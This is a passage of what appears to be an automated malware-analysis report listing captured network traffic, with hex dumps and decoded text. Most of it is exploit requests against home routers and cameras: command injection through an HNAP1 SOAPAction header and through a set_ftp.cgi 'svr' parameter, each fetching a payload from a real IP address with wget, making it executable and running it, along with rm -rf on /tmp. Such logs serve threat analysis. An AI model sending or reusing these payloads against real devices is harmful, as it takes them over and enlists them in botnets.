2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET /set_ftp.cgi?loginuse=&loginpas=&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+cd+/tmp+>>+/tmp/goahead%29 HTTP/1.0Data Raw: 26 6e 65 78 74 5f 75 72 6c 3d 66 74 70 2e 68 74 6d 26 70 6f 72 74 3d 32 31 26 75 73 65 72 3d 66 74 70 26 70 77 64 3d 66 74 70 26 64 69 72 3d 2f 26 6d 6f 64 65 3d 50 4f 52 54 26 75 70 6c 6f 61 64 5f 69 6e 74 65 72 76 61 6c 3d 30 26 73 76 72 3d 25 32 34 25 32 38 65 63 68 6f 2b 2d 65 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 34 36 2e 31 39 2e 31 34 31 2e 31 32 32 2f 67 6f 61 68 65 61 64 2b 3e 3e 2b 2f 74 6d 70 2f 67 6f 61 68 65 61 64 25 32 39 20 48 54 54 50 2f 31 2e 30 0d 0a 0d 0a 26 6e 65 78 74 5f 75 72 6c 3d 66 74 70 2e 68 74 6d 26 70 6f 72 74 3d 32 31 26 75 73 65 72 3d 66 74 70 26 70 77 64 3d 66 74 70 26 64 69 72 3d 2f 26 6d 6f 64 65 3d 50 4f 52 54 26 75 70 6c 6f 61 64 5f 69 6e 74 65 72 76 61 6c 3d 30 26 73 76 72 3d 25 32 34 25 32 38 65 63 68 6f 2b 2d 65 2b 63 68 6d 6f 64 2b 37 37 37 2b 2f 74 6d 70 2f 67 6f 61 68 65 61 64 2b 3e 3e 2b 2f 74 6d 70 2f 67 6f 61 68 65 61 64 25 32 39 20 48 54 54 50 2f 31 2e 30 0d 0a 0d 0a 26 6e 65 78 74 5f 75 72 6c 3d 66 74 70 2e 68 74 6d 26 70 6f 72 74 3d 32 31 26 75 73 65 72 3d 66 74 70 26 70 77 64 3d 66 74 70 26 64 69 72 3d 2f 26 6d 6f 64 65 3d 50 4f 52 54 26 75 70 6c 6f 61 64 5f 69 6e 74 65 72 76 61 6c 3d 30 26 73 76 72 3d 25 32 34 25 32 38 65 63 68 6f 2b 2d 65 2f 74 6d 70 2f 67 6f 61 68 65 61 64 2b 3e 3e 2b 2f 74 6d 70 2f 67 6f 61 68 65 61 64 25 32 39 20 48 54 54 50 2f 31 2e 30 0d 0a 0d 0a 26 6e 65 78 74 5f 75 72 6c 3d 66 74 70 2e 68 74 6d 26 70 6f 72 74 3d 32 31 26 75 73 65 72 3d 66 74 70 26 70 77 64 3d 66 74 70 26 64 69 72 3d 2f 26 6d 6f 64 65 3d 50 4f 52 54 26 75 70 6c 6f 61 64 5f 69 6e 74 65 72 76 61 6c 3d 30 26 73 76 72 3d 25 32 34 25 32 38 72 6d 2b 2d 72 66 2b 2f 74 6d 70 2f 2a 25 32 39 20 48 54 54 50 2f 31 2e 30 0d 0a 0d 0a Data Ascii: &next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+wget+http://46.19.141.122/goahead+>>+/tmp/goahead%29 HTTP/1.0&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e+chmod+777+/tmp/goahead+>>+/tmp/goahead%29 HTTP/1.0&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28echo+-e/tmp/goahead+>>+/tmp/goahead%29 HTTP/1.0&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28rm+-rf+/tmp/*%29 HTTP/1.0 |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://46.19.141.122/hnap && chmod 777 hnap && sh hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |
Source: global traffic | HTTP traffic detected: GET login.cgi HTTP/1.0 |